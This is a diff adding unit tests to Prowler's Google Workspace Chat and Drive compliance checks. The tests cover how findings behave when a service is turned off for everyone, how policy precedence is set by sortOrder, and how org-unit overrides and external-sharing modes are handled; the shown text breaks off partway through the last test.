diff --git a/tests/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted_test.py b/tests/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted_test.py
index 608ae11d01..1a4990ee35 100644
--- a/tests/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -129,6 +130,40 @@ class TestChatExternalSpacesRestricted:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_external_spaces_restricted.chat_external_spaces_restricted.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_external_spaces_restricted.chat_external_spaces_restricted import (
+ chat_external_spaces_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED",
+ external_spaces_enabled=True,
+ external_spaces_domain_allowlist_mode="ALL_DOMAINS",
+ )
+
+ findings = chat_external_spaces_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so no external spaces can be created or joined."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled_test.py b/tests/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled_test.py
index 712bb21fa5..279ee57e9e 100644
--- a/tests/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -93,6 +94,38 @@ class TestChatIncomingWebhooksDisabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_incoming_webhooks_disabled.chat_incoming_webhooks_disabled.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_incoming_webhooks_disabled.chat_incoming_webhooks_disabled import (
+ chat_incoming_webhooks_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED", enable_webhooks=True
+ )
+
+ findings = chat_incoming_webhooks_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so incoming webhooks cannot be used."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled_test.py b/tests/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled_test.py
index 297d00548d..f787cdd0f8 100644
--- a/tests/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.chat.chat_service import ChatPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -96,6 +97,38 @@ class TestChatInternalFileSharingDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_internal_file_sharing_disabled.chat_internal_file_sharing_disabled.chat_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_internal_file_sharing_disabled.chat_internal_file_sharing_disabled import (
+ chat_internal_file_sharing_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = ChatPolicies(
+ service_state="DISABLED", internal_file_sharing="ALL_FILES"
+ )
+
+ findings = chat_internal_file_sharing_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Chat is turned off for everyone in domain {DOMAIN}, "
+ f"so no files can be shared through Chat."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/chat/chat_service_test.py b/tests/providers/googleworkspace/services/chat/chat_service_test.py
index 673f1eb3cd..7b39368142 100644
--- a/tests/providers/googleworkspace/services/chat/chat_service_test.py
+++ b/tests/providers/googleworkspace/services/chat/chat_service_test.py
@@ -93,6 +93,165 @@ class TestChatService:
assert chat.policies.enable_apps is False
assert chat.policies.enable_webhooks is False
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/chat.chat_apps_access",
+ "value": {"enableApps": False, "enableWebhooks": False},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00005},
+ "setting": {
+ "type": "settings/chat.chat_apps_access",
+ "value": {"enableApps": True, "enableWebhooks": True},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_service import (
+ Chat,
+ )
+
+ chat = Chat(mock_provider)
+
+ assert chat.policies_fetched is True
+ assert chat.policies.enable_apps is False
+ assert chat.policies.enable_webhooks is False
+
+ def test_off_for_everyone_when_off_at_the_root_with_no_override(self):
+ """A root-level DISABLED status with no org unit or group override is off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {
+ "orgUnit": f"orgUnits/{ROOT_ORG_UNIT_ID}",
+ "sortOrder": 201.00122,
+ },
+ "setting": {
+ "type": "settings/chat.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_service import (
+ Chat,
+ )
+
+ fetched = Chat(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is False
+ assert fetched.policies.off_for_everyone is True
+
+ def test_reads_the_service_status_and_its_overrides(self):
+ """Off at the customer level only counts when no org unit or group turns the service back on"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00122},
+ "setting": {
+ "type": "settings/chat.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": "orgUnits/sub", "sortOrder": 301.00122},
+ "setting": {
+ "type": "settings/chat.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.chat.chat_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.chat.chat_service import (
+ Chat,
+ )
+
+ fetched = Chat(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is True
+ assert fetched.policies.off_for_everyone is False
+
def test_chat_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only_test.py b/tests/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only_test.py
index e200836bcd..abc0af5d6a 100644
--- a/tests/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -128,6 +129,39 @@ class TestDriveAccessCheckerRecipientsOnly:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_access_checker_recipients_only.drive_access_checker_recipients_only.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_access_checker_recipients_only.drive_access_checker_recipients_only import (
+ drive_access_checker_recipients_only,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED",
+ access_checker_suggestions="RECIPIENTS_OR_AUDIENCE_OR_PUBLIC",
+ )
+
+ findings = drive_access_checker_recipients_only().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Drive is turned off for everyone in domain {DOMAIN}, "
+ f"so Access Checker cannot widen any share."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled_test.py b/tests/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled_test.py
index 7225974c68..ee88f5b4b4 100644
--- a/tests/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -94,6 +95,38 @@ class TestDriveDesktopAccessDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_desktop_access_disabled.drive_desktop_access_disabled.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_desktop_access_disabled.drive_desktop_access_disabled import (
+ drive_desktop_access_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allow_drive_for_desktop=True
+ )
+
+ findings = drive_desktop_access_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Drive is turned off for everyone in domain {DOMAIN}, "
+ f"so Drive for desktop cannot sync any content."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_external_sharing_warn_users/drive_external_sharing_warn_users_test.py b/tests/providers/googleworkspace/services/drive/drive_external_sharing_warn_users/drive_external_sharing_warn_users_test.py
index 3b66837460..ccc84550ac 100644
--- a/tests/providers/googleworkspace/services/drive/drive_external_sharing_warn_users/drive_external_sharing_warn_users_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_external_sharing_warn_users/drive_external_sharing_warn_users_test.py
@@ -99,6 +99,35 @@ class TestDriveExternalSharingWarnUsers:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_external_sharing_warn_users.drive_external_sharing_warn_users.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_external_sharing_warn_users.drive_external_sharing_warn_users import (
+ drive_external_sharing_warn_users,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", warn_for_external_sharing=False
+ )
+
+ findings = drive_external_sharing_warn_users().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_internal_users_distribute_content/drive_internal_users_distribute_content_test.py b/tests/providers/googleworkspace/services/drive/drive_internal_users_distribute_content/drive_internal_users_distribute_content_test.py
index b089d52d58..1aa1fcc224 100644
--- a/tests/providers/googleworkspace/services/drive/drive_internal_users_distribute_content/drive_internal_users_distribute_content_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_internal_users_distribute_content/drive_internal_users_distribute_content_test.py
@@ -130,6 +130,36 @@ class TestDriveInternalUsersDistributeContent:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_internal_users_distribute_content.drive_internal_users_distribute_content.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_internal_users_distribute_content.drive_internal_users_distribute_content import (
+ drive_internal_users_distribute_content,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED",
+ allowed_parties_for_distributing_content="ALL_ELIGIBLE_USERS",
+ )
+
+ findings = drive_internal_users_distribute_content().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled_test.py b/tests/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled_test.py
index 8d6a0efcff..9f5d868596 100644
--- a/tests/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -38,6 +39,106 @@ class TestDrivePublishingFilesDisabled:
assert findings[0].resource_name == "Drive Policies"
assert findings[0].customer_id == CUSTOMER_ID
+ def test_pass_when_external_sharing_is_limited_to_allowlisted_domains(self):
+ """The publishing flag only applies when sharing outside the organization is ON.
+
+ Under "Allowlisted domains" the Admin console hides the option and
+ nothing can be made visible to anyone with the link, whatever value
+ the API still stores for the flag.
+ """
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled import (
+ drive_publishing_files_disabled,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ external_sharing_mode="ALLOWLISTED_DOMAINS",
+ allow_publishing_files=True,
+ )
+
+ findings = drive_publishing_files_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Publishing files to the web is not possible in domain {DOMAIN}: "
+ f"sharing outside of the organization is limited to allowlisted "
+ f"domains."
+ )
+
+ def test_pass_when_external_sharing_is_off(self):
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled import (
+ drive_publishing_files_disabled,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ external_sharing_mode="DISALLOWED",
+ allow_publishing_files=None,
+ )
+
+ findings = drive_publishing_files_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Publishing files to the web is not possible in domain {DOMAIN}: "
+ f"sharing outside of the organization is off."
+ )
+
+ def test_fail_when_external_sharing_is_on_and_publishing_is_allowed(self):
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled import (
+ drive_publishing_files_disabled,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ external_sharing_mode="ALLOWED",
+ allow_publishing_files=True,
+ )
+
+ findings = drive_publishing_files_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "enabled" in findings[0].status_extended
+
def test_fail_publishing_enabled(self):
"""Test FAIL when publishing files to web is enabled"""
mock_provider = set_mocked_googleworkspace_provider()
@@ -94,6 +195,35 @@ class TestDrivePublishingFilesDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_publishing_files_disabled.drive_publishing_files_disabled import (
+ drive_publishing_files_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allow_publishing_files=True
+ )
+
+ findings = drive_publishing_files_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_service_test.py b/tests/providers/googleworkspace/services/drive/drive_service_test.py
index cbdd56679c..580c9479e1 100644
--- a/tests/providers/googleworkspace/services/drive/drive_service_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_service_test.py
@@ -1,6 +1,7 @@
from unittest.mock import MagicMock, patch
from tests.providers.googleworkspace.googleworkspace_fixtures import (
+ ROOT_ORG_UNIT_ID,
set_mocked_googleworkspace_provider,
)
@@ -92,6 +93,164 @@ class TestDriveService:
)
assert drive.policies.allow_drive_for_desktop is False
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/drive_and_docs.external_sharing",
+ "value": {"externalSharingMode": "ALLOWLISTED_DOMAINS"},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.0001},
+ "setting": {
+ "type": "settings/drive_and_docs.external_sharing",
+ "value": {"externalSharingMode": "ALLOWED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_service import (
+ Drive,
+ )
+
+ drive = Drive(mock_provider)
+
+ assert drive.policies_fetched is True
+ assert drive.policies.external_sharing_mode == "ALLOWLISTED_DOMAINS"
+
+ def test_off_for_everyone_when_off_at_the_root_with_no_override(self):
+ """A root-level DISABLED status with no org unit or group override is off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {
+ "orgUnit": f"orgUnits/{ROOT_ORG_UNIT_ID}",
+ "sortOrder": 201.00122,
+ },
+ "setting": {
+ "type": "settings/drive_and_docs.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_service import (
+ Drive,
+ )
+
+ fetched = Drive(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is False
+ assert fetched.policies.off_for_everyone is True
+
+ def test_reads_the_service_status_and_its_overrides(self):
+ """Off at the customer level only counts when no org unit or group turns the service back on"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00122},
+ "setting": {
+ "type": "settings/drive_and_docs.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": "orgUnits/sub", "sortOrder": 301.00122},
+ "setting": {
+ "type": "settings/drive_and_docs.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_service import (
+ Drive,
+ )
+
+ fetched = Drive(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is True
+ assert fetched.policies.off_for_everyone is False
+
def test_drive_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed_test.py b/tests/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed_test.py
index 6ad0222f06..1e67e7be3a 100644
--- a/tests/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -96,6 +97,38 @@ class TestDriveSharedDriveCreationAllowed:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
